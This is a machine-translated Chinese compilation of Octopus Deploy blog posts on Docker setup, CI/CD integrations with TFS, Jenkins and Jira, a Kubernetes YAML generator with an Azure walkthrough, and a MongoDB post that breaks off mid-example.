如果你总是想在你的开发工作流程中使用 F#,但是找不到一个低风险的方法来引入它，那么 F#中的部署脚本可能就是你正在寻找的。
别忘了，你可以通过使用脚本控制台在任意数量的目标上执行任意的 F#代码。这是一个像 REPL 一样，但是分布式的。
最后但同样重要的是，我要感谢 Jorge Fioranelli 帮助我们使 API F#变得友好。
尽情享受吧！
Octopus 部署在 Docker quickstart 上- Octopus 部署
您可以在内部运行 Octopus，使用 Octopus 云实例，甚至在 Docker 中运行 Octopus。您可以在 Docker 容器中为测试和生产环境运行 Octopus Deploy。
在这篇博文中，您将了解如何在五分钟内在本地机器上启动并运行 Docker 容器。
先决条件
要跟进这篇博文，您需要以下内容:
- 八达通部署知识
- 运行 Windows 或 MacOS 的计算机
- Docker 桌面。
- 像 VS Code 这样的代码编辑器
配置您的环境
创建本地容器化 Octopus 部署环境的第一步是建立一个.env配置文件。.env允许您为 Docker Compose 配置的某些值保存环境变量。这样，您可以设置变量而不是硬编码值。
- 打开文本编辑器，创建一个名为
.env的新文件 - 将以下代码添加到
.env文件中。
这种容器化的环境应该仅用于测试/开发目的，这就是为什么您会在.env配置文件中看到密码。对于基于生产的部署，不建议这样做。
SA_PASSWORD=P@ssw0rd!
OCTOPUS_ADMIN_USERNAME=admin
OCTOPUS_ADMIN_PASSWORD=SecreTP@assw0rd
将值添加到.env文件后，您可以创建 Docker 合成文件。
配置 Docker Compose 来运行 Octopus 容器
下一步是创建一个 Docker 合成文件，它存储两个容器的配置。Docker Compose 文件为 Octopus 部署环境创建一个运行容器，以便在本地机器上运行。合成文件包含两种配置:
- 用于 Octopus 部署后端的 SQL Docker 映像
- Octopus 部署 Docker 图像
- 创建一个名为
docker-compose.yml的新文件。确保它保存在与.env配置文件相同的目录中。这告诉 Docker 您正在使用一个合成文件来创建一个环境。 - Docker Compose 文件的第一部分为数据库设置配置。数据库配置使用 Linux SQL 映像，接受 EULA 并提供 SA 密码。之后，指定要使用的端口，并进行健康检查以确认数据库成功启动:
version: '3'
services:
db:
image: mcr.microsoft.com/mssql/server
environment:
SA_PASSWORD: ${SA_PASSWORD}
ACCEPT_EULA: 'Y'
ports:
- 1401:1433
healthcheck:
test: [ "CMD", "/opt/mssql-tools/bin/sqlcmd", "-U", "sa", "-P", "${SA_PASSWORD}", "-Q", "select 1"]
interval: 10s
retries: 10
- Docker 合成文件的第二部分配置 Octopus Deploy。它使用官方的 Octopus Deploy 映像，环境设置为接受 EULA，配置 Octopus Deploy 用户名、密码和到之前配置的 SQL DB 容器的数据库连接字符串。然后为 Octopus Deploy 指定端口，并且有一个
depends_on开关来确保在 Octopus Deploy 容器运行之前配置好数据库。条件是确保数据库服务正常运行:
octopus:
image: octopusdeploy/octopusdeploy:latest
environment:
ACCEPT_EULA: "Y"
OctopusAdminUsername: "${OCTOPUS_ADMIN_USERNAME}"
OctopusAdminPassword: "${OCTOPUS_ADMIN_PASSWORD}"
DB_CONNECTION_STRING: "Server=db,1433;Initial Catalog=Octopus;Persist Security Info=False;User=sa;Password=${SA_PASSWORD};MultipleActiveResultSets=False;Connection Timeout=30;"
ports:
- 1322:8080
- 10943:10943
depends_on:
db:
condition: service_healthy
stdin_open: true
整个docker-compose.yml文件应该如下所示:
version: '3'
services:
db:
image: mcr.microsoft.com/mssql/server
environment:
SA_PASSWORD: ${SA_PASSWORD}
ACCEPT_EULA: 'Y'
ports:
- 1401:1433
healthcheck:
test: [ "CMD", "/opt/mssql-tools/bin/sqlcmd", "-U", "sa", "-P", "${SA_PASSWORD}", "-Q", "select 1"]
interval: 10s
retries: 10
octopus:
image: octopusdeploy/octopusdeploy:latest
environment:
ACCEPT_EULA: "Y"
ADMIN_USERNAME: "${OCTOPUS_ADMIN_USERNAME"
ADMIN_PASSWORD: "${OCTOPUS_ADMIN_PASSWORD}"
DB_CONNECTION_STRING: "Server=db,1433;Initial Catalog=Octopus;Persist Security Info=False;User=sa;Password=${SA_PASSWORD};MultipleActiveResultSets=False;Connection Timeout=30;"
ports:
- 1322:8080
- 10943:10943
depends_on:
db:
condition: service_healthy
stdin_open: true
运行 Docker 合成文件
既然 Docker Compose 和环境配置已经设置好了，现在是运行 Docker Compose 文件的时候了。
从.env和docker-compose.yml文件所在的目录中，运行以下命令来创建 Octopus Deploy 和 SQL 容器:
docker-compose up
您将看到 Docker 合成文件正在运行。
现在，打开一个 web 浏览器，转到下面的 URL 来访问本地 Octopus Deploy 实例。
http://localhost:1322/
您将看到 Octopus Deploy 登录页面:
使用.env配置文件中指定的 Octopus deploy 用户名和密码登录。
您现在已成功登录 Octopus Deploy，可以开始使用它了。
如果您想更进一步，您可以使用 Matthew Casperson 的博客来学习如何在 Kubernetes 上运行 Octopus Deploy Linux 容器。
这篇文章中的代码可以在 GitHub 中找到
在本地设置 Octopus 部署试验- Octopus 部署
Octopus 提供免费试用，让您有机会评估该软件，并确保它满足您的应用程序部署需求。如果你曾经想过自己做一个章鱼，踢它的触角(请不要踢任何触角)，这篇博客文章将帮助你建立一个本地评估实例，这样你就可以运行自动化部署的过程，而不用将它连接到任何关键的基础设施。在这篇文章中，我将在运行 Windows 10 的单个虚拟机中设置一切。
下载
接下来，您需要下载 Octopus 服务器 MSI、Octopus 触手 MSI 和 SQL Server 数据库:
出于这个博客的目的，我们使用 SQL server express。
安装 SQL Server
首先，我们将安装 SQL Server 数据库。选择基本安装，接受许可和默认值，然后单击安装。
下一步我们将让 Octopus 配置数据库。
安装八达通
启动 Octopus 服务器安装程序，接受许可和默认值。安装完成后，点击“完成”启动 Octopus Manager，然后点击开始...。
输入您的姓名、组织和电子邮件地址以激活许可证。接受默认存储位置或选择您自己的位置。
当您进入数据库屏幕时，单击服务器名称旁边的下拉菜单，以检测您之前安装的 SQL Server。填充服务器名称后，保留默认的 Windows 身份验证的身份验证选项，并在数据库字段中输入数据库名称。
比如，章鱼 DB ，点击下一个。
接受 web 门户的默认端口。向身份验证屏幕添加用户名、电子邮件和密码。您将使用这些来登录门户网站。
web 门户是您配置基础设施、定义发布流程、管理项目和部署应用程序的地方。
点击在浏览器中打开，使用您在安装过程中创建的用户名和密码登录 Octopus 门户网站。
基础设施
Octopus 将机器(无论是部署到物理服务器还是 Microsoft Azure)组织到环境中。按照以下步骤创建一个环境。
- 从 Octopus Web Portal 仪表板中，选择基础设施➜添加环境，然后点击添加环境。
- 给环境一个名字；我们将使用“测试”。
- 选择溢出菜单，点击添加部署目标。我们要设置一个监听触手，所以选择监听触手。
- 复制指纹，即屏幕下方的长字母数字字符串。把它粘贴到你能看到的地方。你很快就会需要它。
- 添加主机名。我用的是本地主机。
接下来，我们需要一些基础设施来部署。我们将在与章鱼服务器相同的机器上配置一个触手。Tentacles 是作为 Windows 服务运行的轻量级部署代理服务。您将它们安装在计划部署软件的机器上。
启动章鱼触手安装程序。接受许可和默认值。点击完成启动触手管理器。点击开始使用并接受默认存储选项。
选择监听触手，在下一个屏幕上粘贴你之前复制的指纹，点击下一个**，然后安装。**
返回门户的部署目标页面，单击发现。接下来，我们给部署目标命名，我将使用测试服务器。选择您之前设置的环境，并添加一个角色，我正在使用网络服务器，现在保存设置。
如果您点击基础架构选项卡，您可以看到:
- 环境
- 部署目标
- 目标状态
- 目标角色
如果您的部署目标显示任何警告，请选择该目标，然后在下一个屏幕上单击溢出菜单并选择健康检查。我选择了升级鱿鱼，并让章鱼运行升级。升级后，目标状态显示为健康。
你可以走了。
这为您提供了一个 Octopus 的工作实例，尽管在配置中，您可以评估 Octopus 的外观和感觉，并在引擎盖下进行窥视，但这不是许多人将用来部署真实世界软件的配置。
根据你想要部署什么，你可以查看文档来了解打包和部署你的应用，观看我们的视频，或者浏览博客。
章鱼去开会！-章鱼部署
Octopus 最近开始参加会议，我认为分享我们的经验会很有趣。这对团队中的每个人来说都是新的和令人兴奋的事情，但我们真的不知道会发生什么。 Damo 一直在引领寻找大型活动的进程，并组织所有需要参加和展示的活动。早期，当我们收到 40 页的参展商包时，有点令人生畏，但 Damo 在上面！:)
为什么？
为什么我们开始在会议上展出？很棒的问题！主要原因是增加对章鱼的认识，所以更多的人尝试它。我们很幸运，章鱼很受欢迎，而且还在增长，但是仍然有很多人没有听说过我们，也没有尝试过。我们相信我们有一个伟大的产品，我们的统计数据显示，如果有人尝试八达通，他们通常会坚持下去。所以我们认为在会议上与人交谈是实现这一目标的好方法。我们还决定首先关注美国的会议，这样我们可以更多地了解事情是如何运作的。
另一个因素是，人们已经开始在大型活动中寻找章鱼摊位聊天或提问。一些团队成员参加了会议或在会议上发言，我们被问及是否有展位，以便他们稍后与我们交谈。我们热爱我们的客户，所以我们认为有一个人们可以亲自与我们互动的场所是很棒的。也就是说，我们鼓励每个有反馈和问题的人前往我们的支持页面进行联系。:)
总的来说，这有点像实验。我们不知道活动中的展览会涉及哪些内容。我们想尝试一些会议，了解他们是如何工作的。活动繁忙吗？人们有兴趣和我们交谈吗？他们会问什么样的问题？我们应该对他们说什么？
会议
带着我们的目标，我们参加了在内华达州拉斯维加斯举行的 Visual Studio Live ，开始了这一年的学习。然后，我们非常幸运能够参加微软在加州三藩市举行的 Build 2016 大会，这是一个激动人心的活动，充满了公告，非常繁忙。接下来是在佛罗里达州奥兰多举行的devi intersection，在得克萨斯州奥斯汀举行的 Visual Studio Live ，最后是在密苏里州堪萨斯城举行的堪萨斯城开发者大会(KCDC) 。
本周，我们即将结束我们参加 NDC 悉尼的首届会议，整个章鱼团队都将到场！这将是一个令人敬畏的事件，所以如果你在 NDC，请过来说“嗨”，并抓住一些对待！
保罗和达莫领导前两项赛事，团队的混合人员参加其余赛事。我很幸运地参加了几次会议，这真是一次有趣的经历。同样需要注意的是，我们没有雇佣任何营销或活动管理人员。就像我之前说的，Damo 组织了这些活动，而展位上的工作人员是 Octopus 的开发者。
物流
那么参加一个会议需要做些什么呢？这是一系列的任务，从预订航班到组织营销材料(展位标牌、传单、贴纸等)和音频/视频设备。对我们来说，航班是规划过程中很重要的一部分，因为我们的总部在澳大利亚的布里斯班，而且我们离很多地方都很远。这暗示着非常长的飞行。
我们参加的大多数会议都有为期两天的赞助商展览，其中第一天是筹备日。我们也利用这第一天从长途飞行中恢复过来，并适应新的时区。我们很快了解到这些会议/展览都有一个模式。
- 第一天是忙碌的一天。如果有人有兴趣了解更多关于 Octopus 的知识，或者询问它与其他产品相比如何，似乎他们在第一天就这么做了。我记得和一大群人交谈，解释章鱼适合在哪里，回答一百万个问题。这是令人振奋的，有时也是压倒性的。
- 第二天没那么忙，但是对话通常更深入更长。我们有很多人问我们章鱼如何适应他们的特定环境，以及如何与他们的其他环境一起工作。这些对话非常有趣，因为我们有更多的时间来谈论细节。
我们做的一件有趣的事情是给会议带来一些澳大利亚的东西。每次会议，我们都会带 20 公斤(约 44 磅)的 Tim Tams，一种澳大利亚巧克力饼干。它们在澳大利亚非常普遍和受欢迎，但在海外并不普遍。我们经常听到与会者询问他们是否尝过章鱼小摊的澳洲饼干。:)
我在一个电话亭里！
在卡座是什么感觉？我觉得这很酷！与来自不同公司和美国不同地区，有时甚至是世界其他地方的开发人员交谈非常愉快。只需要一分钟打个招呼就能更好地了解一个人。他们来自哪里？他们为哪家公司工作？他们在开发什么样的应用？我们与开发者进行了许多真诚的交谈，他们对学习更多关于 Octopus 的知识以及为什么它有价值感兴趣。我们让现有客户和从未听说过我们的人交谈，我们收到了各种各样的问题。章鱼是什么？与其他产品相比如何？它适用于网站吗？它如何处理数据库更新？为什么它比直接从 Visual Studio 部署要好？
我们期望在会议上帮助开发者了解 Octopus，但是我们惊讶于我们对开发者的了解。与大量开发人员交谈的一个意想不到的好处是，我们更好地了解了人们正在构建的应用程序类型、他们喜欢的工具和平台以及他们遇到的问题。与和我们有类似问题的人交谈，帮助他们了解章鱼是如何帮助他们的，这感觉很棒。
也就是说，事情并非一帆风顺。整天站着和人说话可能会很累。有些人非常怀疑，有些对话很难，让人精疲力尽。值得庆幸的是，这些对话是例外，而不是常规。
俯仰
我们在会议上的工作是努力提高产品认知度，但我们并没有真正以销售和营销的方式去做。我们试图帮助人们了解章鱼是什么，理解它解决的问题以及它为什么有价值。在我们的展位上，我们没有走近人们并开始询问他们的部署需求等。只有当人们靠近我们时，我们才会和他们说话。所以我们尽量做到平易近人！我们没有坐在桌子后面躲起来；我们每天都站着微笑！
我们还带了一大堆 Tim Tams 和章鱼贴纸来吸引人们搭讪。:)
那么，如果有人走到我们面前问‘章鱼是什么？’我们该怎么办我们问了他们几个问题，以便更好地了解他们的环境和他们正在构建的应用程序类型。我们还询问了他们目前如何部署他们的应用程序。根据他们的情况，我们描述了章鱼是如何工作的，但更重要的是，我们试图帮助他们理解为什么它是有价值的。然后，我们向他们展示了一个笔记本电脑上的工作示例，以更好地说明事情是如何工作的。
另一个有趣的教训是，开发人员是一个非常多样化的群体，但我们发现有许多共同的类型。我认为最常见的群体是我称之为的现代开发者。他们主要构建 web 应用程序，并混合使用现代框架(ASP.NET MVC、Angular 等)、技术和工具。这个小组通常会问一些关于 Octopus 如何工作以及它如何与 web 应用程序/数据库和支持技术一起工作的问题。
另一个常见的开发者群体是我所谓的高级开发者。他们提到他们使用了最新的工具和技术，并且已经有了某种交付渠道。这个小组一般会问一些问题，涉及我们可以为他们现有的流程增加什么价值，Octopus 与他们已经使用的产品相比如何，或者如何与我们的 API 集成。
最后一个常见的开发者群体是我称之为的老式开发者。他们不一定使用源代码控制、构建服务器或当今最常见的现代实践。这是一个很大的惊喜，一般来说，他们还没有准备好看到像 Octopus Deploy 这样的产品。其中一些开发人员希望改善他们的环境，并有兴趣了解 Octopus 在整个开发过程中的位置。
包裹
Octopus 参加会议的经历很棒。我们学到了很多关于参与重大事件的知识，也学到了很多关于现代开发者如何构建应用的知识。
我们已经发现了会议“bug ”,所以请务必查看我们的活动页面，了解我们未来将参加的会议和活动的更多信息。
Octopus 与 TFS 集成构建 vNext - Octopus 部署
原文：https://octopus.com/blog/octopus-integration-with-tfs-build-vnext
如果您是使用 Team Foundation Server 或 Visual Studio Online 的 Octopus Deploy 用户，您可能非常熟悉octoppack。它是一个挂钩到您的 MSBuild 过程的工具，用来打包您的项目，以便与 Octopus 一起使用。
目前，TFS 一个项目的 CI 流程包括使用 OctoPack 打包并推送您的应用程序，然后在您推送至 Octopus 时自动创建新版本，最后是一个将该版本自动部署到环境中的生命周期。如果你想了解更多，我们的培训视频页面上有一个演示。
这个场景对于 90%的项目来说都非常有效，但是它模糊了过程中构建和部署阶段之间的界限。这些阶段应该是分开的。例如，如果您的构建成功了，但是有一半的集成测试失败了，您希望进行部署吗？
如果你足够专注，你可以修改构建过程模板来添加额外的步骤，但是没有人愿意这样做:
团队构建 vNext
令人欣慰的是，微软在替换 Team Build 方面投入了大量精力。如果你是 Visual Studio Online 用户，或者你玩过 TFS 2015 预发布版本，你可能会看到新的版本。预览菜单中的选项(它将很快被合并到现有的构建选项中)。
如果你想知道它是如何工作的， Chris Patterson 在今年的//build/上做了一个很棒的演示，微软也在网上向提供了一些信息。
作为一个长期的 TFS 用户，我非常有信心你会想尽快转移到新的构建系统。
章鱼集成
Team Build 的新结构给了我们一个很好的机会来更好地与您的构建过程集成。为此，我们在 GitHub 中创建了一个新的公共 OctoTFS 库。
它目前包含两个选项，用于在 Octopus 中创建一个发布，作为构建定义中的一个独立步骤。它们都可以让您很好地分离构建和部署阶段。请注意，您仍然需要打包您的 Nuget 包并将其推送到 Octopus 服务器(或另一个 Nuget repo)——这些步骤只是创建发布。你仍然可以使用 OctoPack 进行打包和推送。
我最兴奋的集成是定制构建步骤。它给了你一个非常好的用户界面，甚至包括从变更集和工作项中提取的发布说明——这是我们经常被要求的。
不幸的是，因为您需要将这个包上传到 TFS/VSO，所以在新的构建系统到达 RTM 之前，它是不可用的。那应该不会太远。至少这样你就可以从 RTM 的第一天开始使用它，而不是等待！
更新:可以使用TFX-CLI工具上传定制构建任务。说明可以在 GitHub 页面 上找到
另一个选项是一个可以包含在项目中的 PowerShell 脚本。这个你现在就可以使用，它几乎也能工作到(还没有发布说明)。这不是很好的工作，但它现在的工作。
支持
我们将继续致力于这些集成，使它们对尽可能多的人有用且易于使用。尽管我们的首要任务总是放在核心产品上，所以我们会尽可能地改进和添加。
当然 OctoTFS 库是开源的，我们将接受拉请求，所以如果你看到一个 bug，一个潜在的改进，或者甚至是一个全新的集成选项，我们很乐意你的贡献！
其他 TFS 集成
我预计我们将在未来开始与 TFS 建立更多的集成。微软开始用 REST API(T1)、T2 服务挂钩(T3)、甚至 T4 扩展(T5)打开一些令人敬畏的机会。TFS 内部的八达通仪表板有人吗？
Jenkins 的 Octopus 插件:无痛的 Jenkins 集成- Octopus 部署
我们很高兴推出我们的官方 Octopus Deploy Jenkins 插件,使集成 Jenkins 版本和 Octopus 部署变得更加容易。章鱼有一个 Jenkins 社区插件已经很多年了，由 Brian Adriance 和其他贡献者维护，章鱼已经和 Brian 一起接管了这个插件，并提供我们团队的官方支持。我们感谢 Brian 和其他贡献者自 2015 年项目启动以来所做的努力。使它成为一个官方插件带来了显著的优势，因为我们可以保持插件最新，并增加新的功能。
这个版本使 Jenkins 插件与我们的 TeamCity 、 Azure DevOps 和 Bamboo Server 插件具有同等的特性。它带来了集成能力，包括我们的工作项和构建信息特性集。
轻松集成您的 Jenkins 构建和 Octopus 部署
将你的 Jenkins 构建与 Octopus 部署集成在一起，现在不需要你自己编写脚本或者依赖社区支持的插件。我们的官方插件提供了与其他构建服务器插件相似的构建和后期构建操作。
此更新允许您配置理想的 CI/CD 管道:
詹金斯:
- 构建您的前端代码库(捆绑、林挺等)。).
- 构建任何微服务或 web 服务。
- 运行单元/集成测试。
- 运行静态分析。
章鱼展开:
- 打包您的构建输出(即，压缩它)。
- 将您的压缩包推送到 Octopus 或另一个工件库。
- 将构建信息推送到 Octopus，以提供到代码、构建以及与构建相关的任何工作项的链接。
- 创建发布以快照您的部署过程和依赖关系。
- 将版本部署到您的环境中，如开发、测试和生产环境。
注意:这个版本的插件不支持 Jenkins 管道，但是它在我们的关注范围内。
更好的可视性:了解生产中的新情况
【T2 
Octopus 部署补充了 Jenkins 构建，使您能够更好地了解和洞察您的 CI/CD 渠道。作为构建过程的一部分，将构建信息推送到 Octopus 使 Octopus 能够显示您的提交、构建细节以及与特定构建相关的任何工作项目(例如 GitHub 或吉拉问题)。这一功能可以查看哪些特性、错误修复和增强对一个版本有贡献，Octopus 还可以确定自上次部署以来哪些工作项发生了变化。这意味着您可以清楚地看到生产或任何其他环境中的新功能。
这个特性集让团队在将版本部署到生产环境时，对所包含的变更有了信心和可见性。
更好的沟通:自动生成和共享发布注释
我们的构建信息和工作项集成的另一个好处是释放团队的能力，以改善他们与其他团队、经理或客户的沟通。利用发布细节，包括相关问题，Octopus 使团队能够生成定制的发布说明，并根据他们的需要共享它们。这可能是给运营团队的一条松散消息，让他们随时了解最新情况，也可能是给客户的一封电子邮件，让他们分享包括新版本在内的最新功能。
此功能消除了发行说明的手动收集和共享。
如何安装或更新八达通部署詹金斯插件
Octopus Deploy Jenkins 插件是 Jenkins 插件库中现有 Jenkins 插件的新版本。这意味着你可以像安装任何其他 Jenkins 插件一样安装或升级它。
阅读我们的Jenkins Build Server integration了解更多信息。
摘要
Jenkins 和 Octopus Deploy 能够更好地协同工作，为您的 CI/CD 渠道提供更好的端到端可见性。
欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
面向吉拉的 Octopus 插件-为您的软件管道提供更好的可视性- Octopus Deploy
https://www.youtube.com/embed/7wWLM0rzVQ4
VIDEO
Octopus 很自豪地为吉拉发布了我们的 Octopus Deploy 插件，它解锁了一些非常有用的场景。
构建优秀的软件通常需要使用多种工具和服务，但是找到合适的工具和服务并让它们相互交流是一件令人头疼的事情。Atlassian 的吉拉软件是一个流行的应用程序，帮助团队规划、跟踪和管理软件发布，而 Octopus Deploy 帮助团队以快速、可重复和可靠的方式自动化他们的开发和操作过程。总之，它们使团队能够更好地端到端地了解他们从想法到产品的软件管道。
整合八达通和吉拉软件解锁三个关键场景:
了解如何 连接 Octopus Deploy 和吉拉软件 并开始使用。
注意:Octopus Deploy 插件仅与吉拉软件云兼容，因为吉拉服务器(本地)不支持启用此功能所需的 API。
查看功能或错误修复何时部署到生产
完成意味着部署到生产中
如果你曾经和开发团队一起工作过，你可能会听到有人说一个新特性已经完成了 98%,然后需要几个星期才能完成并部署到生产中。这种常见的情况导致团队说“完成”意味着部署到生产中。
我们为吉拉软件开发的 Octopus 插件可以让我们看到一个改进或错误修复是否已经完成并部署到产品中，或者它是否仍在进行中。这一新的信息可以直接在你的吉拉问题，你可以点击通过八达通了解更多的细节。这使得您的团队和公司能够更好地了解他们最熟悉的工具。
请参阅八达通发行版中的吉拉问题
软件通常在生产过程中通过 CI/CD 管道运行。开发者将代码推送到 GitHub 这样的源代码库，搭建 Bamboo、TeamCity 这样的服务器，搭建好，Octopus 部署好。传统上，这些步骤之间的联系可能会丢失。
使用我们的吉拉插件和一个构建服务器插件(见下面的链接)，现在可以直接在 Octopus 中看到你的吉拉问题和构建细节。这允许团队看到吉拉问题，并构建有助于发布的细节，提供从问题到部署的端到端可追溯性。你可以点击吉拉软件了解更多信息。它还可以帮助找到将 bug 引入到版本中的变更。
自动生成和共享发行说明
【T2 
使用多种工具会使跟踪应用程序版本及其包含的特性变得困难。很难找到哪些特性、错误修复和增强对发布和部署有所贡献。项目经理通常会编写发布说明来使其更容易理解，但这通常是一个手动过程。整合八达通和吉拉软件，使这一进程完全自动化。Octopus 知道哪些问题已经部署到环境中，因此它可以快速生成发布说明，显示测试或生产环境中的新内容。
在 Octopus 中阅读发布说明是有用的，但是通过电子邮件、slack 或其他媒介分享更好。使用我们的电子邮件通知步骤或社区贡献的步骤模板，如 slack 或 Microsoft teams ，您可以在每次成功部署到产品后向您的团队、经理或高管发送发布说明。这使得让每个人都参与进来变得快速而容易。
连接八达通部署和吉拉软件
如果你的团队已经在使用吉拉软件和 Octopus Deploy，我强烈推荐下载我们的插件并试用。阅读我们的文档了解如何连接两个应用程序并开始使用。
我还建议安装一个我们的构建服务器插件，这样你就可以充分利用上面的特性。
如果你的团队正在使用吉拉软件或八达通部署，你可以尝试免费的其他服务，看看它如何为你工作。
总结
总之，吉拉软件和 Octopus Deploy 携手合作，让您更好地了解从创意到生产的软件管道。
愉快的部署！
章鱼部署的库伯内特 YAML 发电机-章鱼部署
原文：https://octopus.com/blog/octopus-kubernetes-yaml-generator
Kubernetes (K8s)是一个强大的容器编排工具。
Kubernetes 读取定义您要部署到的资源的 YAML 文件。当然，不是每个人都喜欢写 YAML。为了使这更容易，我们发布了一个工具，帮助开发人员为 Kubernetes 集群部署构建 YAML 文件。
你可以在 https://k8syaml.com/找到这个工具。
我们的 K8s YAML 发电机概述
YAML 文件是一个人类可读的配置文件，它告诉 Kubernetes 如何提供和部署服务。
我们工具的左侧包含 YAML 文件的各种选项。每个选项都有一个填充的下拉菜单。
右边包含 Kubernetes 将使用的 YAML 文件。
K8s YAML 工具内置的两个功能是实时更新和双向同步。
实时更新
更改工具左侧的字段时，右侧的 YAML 文件会更新以进行匹配。将左侧的资源类型从 Deployment 更改为 StatefulSet 将会更改 YAML 文件以匹配新选项。实时更新可以为 YAML 文件添加以前没有的新选项。
部署资源类型
有状态设置资源类型
双向同步
您可以通过选择编辑 YAML 按钮在工具中编辑 YAML。
在编辑窗格中，您可以编辑任何字段。
下面，我将部署的名称编辑为test-deployment，并点击完成。
双向同步会更新工具的左侧以匹配编辑内容。
更多信息
Kubernetes YAML 文件中有几个可配置的选项。该工具链接到 Kubernetes 的官方文档，而不是详细解释它们。大多数选项都有一个更多信息链接，直接将您带到文档。
用例
为了展示 YAML 文件的作用，我用它将一个 web 应用程序部署到一个带有 Octopus Deploy 的 Azure Kubernetes 服务中。请随意跟随。
通过填充左侧，根据图像填写字段。
部署——将 app 的值改为randomquotes
容器——删除 nginx 默认容器，并添加一个新容器，包含:
- 名称 :
randomquotes - 包装图片 :
terenceocto/randomquotes-js - 添加端口 :
TCP:80
点击确定确认。
右边的文本是我们用来部署到 Azure 的 YAML 文件。复制此文件以备后用。
配置 Azure 帐户
您需要配置一个 Azure 帐户和 web 应用程序作为 Octopus 部署的目标。其他目标也是可能的，比如 AWS、Windows 或 Linux 服务器。
接下来，你需要在 Azure 中创建一个账户，导航到 Azure 门户。
使用 Azure 门户创建 Azure 服务主体
https://www.youtube.com/embed/QDwDi17Dkfs
VIDEO
- 在 Azure 门户中，打开菜单，导航到 Azure Active Directory ，然后是属性。
- 从租户 ID 字段中复制值。这是你的租户 ID 。
- 接下来，您需要您的应用程序 ID :
- 如果您创建了一个 AAD 注册的应用程序，导航到 Azure Active Directory 、应用程序注册，点击查看所有应用程序，选择应用程序并复制应用程序 ID 。请注意，Azure UI 默认为自有应用标签。点击所有应用选项卡查看所有应用注册。
- 如果您尚未创建已注册的应用程序，请导航至 Azure Active Directory 、应用程序注册，点击新注册并为您的应用程序添加详细信息，然后点击保存。记下应用 ID 。
- 通过导航到证书&机密，然后导航到新客户端机密，生成一次性密码。添加新密码，输入描述，点击保存。记下显示的应用程序密码，以便在 Octopus 中使用。如果您不想接受默认的密码一年到期，您可以更改到期日期。
您现在拥有以下内容:
- 租户 ID
- 应用 ID
- 应用程序密码/秘密
接下来，您需要配置您的资源权限。
资源权限
资源权限确保您注册的应用程序有权使用您的 Azure 资源。
- 在 Azure 门户中，导航到资源组并选择您希望注册的应用程序访问的资源组。如果一个资源组不存在，通过转到主页，然后资源组并选择创建来创建一个。创建之后，记下资源组的 Azure 订阅 ID。
- 点击访问控制(IAM) 选项。在角色分配下，如果你的应用没有列出，点击添加角色分配。选择适当的角色(贡献者是一个常见选项)，并搜索您的新应用名称。从搜索结果中选择它，然后点击保存。
下一步是设置 Azure web 应用程序并配置其属性。
Web 应用程序设置
- 在您的资源组中点击创建，然后 Kubernetes 服务
- 为群集命名并选择适当的区域
- 点击审核+创建
- 集群名称将是 Octopus Deploy 中的 AKS 集群名称——记下资源组名称
在八达通上加入服务主账户
使用以下值，您可以将您的帐户添加到 Octopus:
- 应用程序 ID
- 租户 ID
- 应用程序密码/密钥
- 导航到基础设施，然后选择账户
- 选择添加账户，然后点击 Azure 订阅
- 在 Octopus 中给帐户起一个你想要的名字
- 给账户一个描述
- 添加您的 Azure 订阅 ID -在 Azure 门户的订阅下找到
- 添加应用 ID 、租户 ID 和应用密码/关键字
点击保存并测试确认账户可以与 Azure 交互。Octopus 将尝试使用帐户凭据来访问 Azure 资源管理(ARM) API，并列出该订阅中的资源组。
您可能需要将您针对的 Azure 数据中心的 IP 地址列入安全列表。更多细节请参见通过防火墙部署到 Azure。
新创建的服务主体可能需要几分钟才能通过凭据测试。如果您已经仔细检查了您的凭据值，请等待 15 分钟，然后重试。
接下来，设置 Octopus Deploy 来加载 YAML 文件，以设置 Kubernetes 集群。
八达通部署设置
在 Octopus Deploy 实例中创建一个带有生产环境的项目。
为此，转到基础设施，然后是环境，然后是添加环境以添加生产环境。然后，进入项目、添加项目添加项目。
转到库，然后外部源并设置 docker 注册表。因为我们使用的是公共存储库，所以您可以将凭证留空。
通过转到基础设施部署目标设置 Kubernetes 目标，然后添加部署目标，然后 Kubernetes 集群。
填写步骤:
- 环境 -你在 Octopus 中设置的环境
- 目标角色 -
kube - 认证 -
Azure Service Principal- 选择账户 -你在八达通上设置的 Azure 账户
- AKS 集群名称 -您的 Kubernetes 集群的名称
- AKS 资源组名称 -您的 Azure 资源组的名称
- 使用管理员凭证登录 -选中此框
将其他一切保持默认，点击保存完成。
在您的新项目中，创建一个部署 Kubernetes 容器步骤，方法是转到流程，然后添加步骤，然后 Kubernetes ，然后选择部署 Kubernetes 容器。
确保在代表选项的下添加kube角色，以触发 Kubernetes 部署目标的构建。将 K8s YAML 工具中的 YAML 文件粘贴到编辑 YAML** 部分。将所有其他内容保留为默认，点击保存完成。**
点击创建发布，然后点击部署步骤部署发布。等待成功消息。
部署成功后，通过将群集暴露于互联网来访问 web 应用程序。转到 Azure 门户并打开 PowerShell Azure CLI。
az aks get-credentials --resource-group myResourceGroup --name myAKSCluster
此命令会将 CLI 指向您的群集:
kubectl get deployments
运行此命令将获得集群上的部署列表。您应该会看到部署octopus-deployment。使用此名称公开 web 应用程序:
kubectl expose deployment octopus-deployment --type=LoadBalancer --name=my-service
此命令创建一个名为“my-service”的服务，该服务生成一个公共 IP 来查看 web 应用程序:
kubectl get services
运行此命令，您将在 External-IP 下看到“pending”。等一分钟，再次运行，您应该在该字段中看到一个公共 IP。在浏览器中转到 IP 地址以查看您的 web 应用程序。
结论
在本帖中，您了解了具有实时更新和双向同步功能的新 Kubernetes YAML 工具。您可以使用该工具生成与 Kubernetes 兼容的 YAML 文件。
您还使用 Octopus Deploy 和 Azure Kubernetes 服务运行了一个简单的用例。您使用 K8s YAML 生成的 YAML 文件部署了一个 web 应用程序。
愉快的部署！
使用 Octopus Deploy 和 Liquibase - Octopus Deploy 部署到 MongoDB
近年来，使用 NoSQL 作为数据库后端越来越受欢迎。使用率如此之高，以至于亚马逊、微软和谷歌都创建了自己的基于云的产品。在 NoSQL 世界中，一个更容易被认出的名字是 MongoDB。
在本文中，我演示了如何使用 Octopus Deploy 和 Liquibase 自动部署到 MongoDB。
液态碱
我之前演示了如何使用 Liquibase 产品将部署到 Oracle。然而，Liquibase 并不严格在关系数据库空间中运行，他们也有部署到 NoSQL 的解决方案，包括 MongoDB。
变更日志
使用 MongoDB 与其关系计数器部件有很大不同。例如，在关系数据库中创建一个表，在 MongoDB 中创建一个集合。
由于它们差别如此之大，MongoDB 的 Liquibase changelog 也有所不同。
下面包含如何在 MongoDB 中创建集合的示例:
<databaseChangeLog
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
